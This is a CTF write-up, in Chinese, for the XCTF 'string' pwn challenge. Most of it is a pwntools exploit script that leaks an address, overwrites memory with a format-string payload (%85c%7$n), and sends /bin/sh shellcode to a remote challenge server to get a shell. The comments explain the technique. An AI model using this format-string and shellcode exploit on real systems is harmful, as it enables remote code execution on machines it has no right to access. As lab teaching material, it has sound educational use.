#encoding=utf-8
#!usr/bin/python from pwn import *
io = remote('111.198.29.45',42643)
io.recvuntil("secret[0] is ")
# recvuntil(some_string) 接收到 some_string 为止
v3_0_addr = int(io.recvuntil("\n")[:-1], 16) #打印cv3[0]的地址
log.info("v3_0_addr:" + hex(v3_0_addr)) #进入sub_4000D72()
io.recvuntil("character's name be:")
io.sendline("123")
#进入sub_400A7D()
io.recvuntil("east or up?:")
io.sendline("east") #进入sub_400BB9():printf处存在格式化字符串漏洞,利用这一点去修改v3[0]的值为85
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
# 使用 *<a_number_of_chars>%<number>$n* 就可以将相应的第 *<number>* 个参数的位置写为 % 前输出的字符数量
# 如本题先用 %85c 输出了85个字符,再用 %7$n 将第七个参数的位置写成了85 #进入sub_400CA6():v1会被强制转成函数指针并且得到执行,所以我们传入一个system()函数去getshell
context(os='linux',arch='amd64') #设置目标机的参数 os设置系统为linux系统,arch设置架构为amd64
shellcode = asm(shellcraft.sh()) #(生成的shellcode攻击失败,所以使用反汇编的shellcode)
# (shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
# 注释 :师傅没有失败只是忘了context
# shellcraft 是一个帮忙生成shellcode的类. shellcraft.sh():获得执行system(“/bin/sh”)汇编代码所对应的机器码
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()


参考:

https://www.jianshu.com/p/457520f97a76

https://blog.csdn.net/qq_35495684/article/details/79583232

https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5056&number=2&grade=0&page=1

https://www.jianshu.com/p/8322fa5dff22

攻防世界 | string的更多相关文章

  1. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  2. 攻防世界web新手区

    攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...

  3. Poem Codes - 攻防世界(Decrypt-the-Message)

    Poem Codes Poem Code 最显著的特点就是一首诗歌. 详情请戳这里 让我们一起来过滤一遍这个神奇的加密过程~ ① 给出一首诗歌 for my purpose holds to sail ...

  4. 攻防世界 reverse 进阶 APK-逆向2

    APK-逆向2 Hack-you-2014 (看名以为是安卓逆向呢0.0,搞错了吧) 程序是.net写的,直接祭出神器dnSpy 1 using System; 2 using System.Diag ...

  5. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  6. 攻防世界(三)Web_php_unserialize

    攻防世界系列:Web_php_unserialize 0x01.代码审计 1.类Demo中struct().destruct()函数分别在代码执行开始和结束时调用.而wakeup函数会在代码执行过程中 ...

  7. 攻防世界(八)web2

    攻防世界系列:web2 1.代码审计  知识补充: strrev(string):反转字符串 strlen(string):字符串长度 substr(string,start,length):截取字符 ...

  8. 攻防世界Web区部分题解

    攻防世界Web区部分题解   前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...

  9. 攻防世界 WEB 高手进阶区 easytornado Writeup

    攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...

随机推荐

  1. 安装gradle和配置

    1:官网下载地址:https://docs.gradle.org/current/userguide/installation.html 下载自己认为的版本(压缩包) 2:解压到目标目录 3:配置gr ...

  2. layui基本使用(动态获取数据,并把需要的数据传到新打开的窗口)

    <div class="xiaoxi">\n' + ' <div class="layui-row">\n' + ' <input ...

  3. python+selenium元素定位——8种方法

    定位元素,selenium提供了8中元素定位方法: (1)find_element_by_id() :html规定,id在html中必须是唯一的,有点类似于身份证号 (2)find_element_b ...

  4. js技巧之与或运算符 || && 妙用

    如题: 假设对成长速度显示规定如下: 成长速度为5显示1个箭头:  成长速度为10显示2个箭头:  成长速度为12显示3个箭头:  成长速度为15显示4个箭头:  其他都显示都显示0各箭头.  用代码 ...

  5. Hibernate的HQL多表查询

    HQL的内连接查询 对于HQL内链接查询,查询的是两张表的数据,这两张表的数据首先是保存在数组之中,然后在将每一个数组保存在List集合之中进行返回 代码片段: @Test // 内连接 public ...

  6. 编码规范(code style guide)

    1. Javascript Google: https://google.github.io/styleguide/jsguide.html Airbnb:https://github.com/air ...

  7. Java 中的 T,E,K,V, 别傻傻分不清楚!

    作者:glmapper https://juejin.im/post/5d5789d26fb9a06ad0056bd9 前言 Java 泛型(generics)是 JDK 5 中引入的一个新特性, 泛 ...

  8. 【洛谷p2239】螺旋矩阵

    关于题前废话: 这道题的数据范围过于强大了qwq,显然如果我们开一个30000*30000的二维数组来模拟,显然首先就开不下这么大的数组,然后暴力搜索的话也会爆掉,所以直接模拟显然是一个不正确的选择( ...

  9. host文件无操作权限

    把先用其它启动方式启动电脑,如winpe(网上有制作方法,很简单的),启动后找到FWPKCLNT.SYS所在文件夹, 一般在c/windows/system32/drivers,将drivers文件夹 ...

  10. ubuntu18+virtualenv配置

    思路: 1.两条命令安装,加sudo是安装在/usr/local/bin/virtualenv路径下,不加就安装在home/.local下.注意,后面bashrc里,要设置的路径和这个有关系,所以要区 ...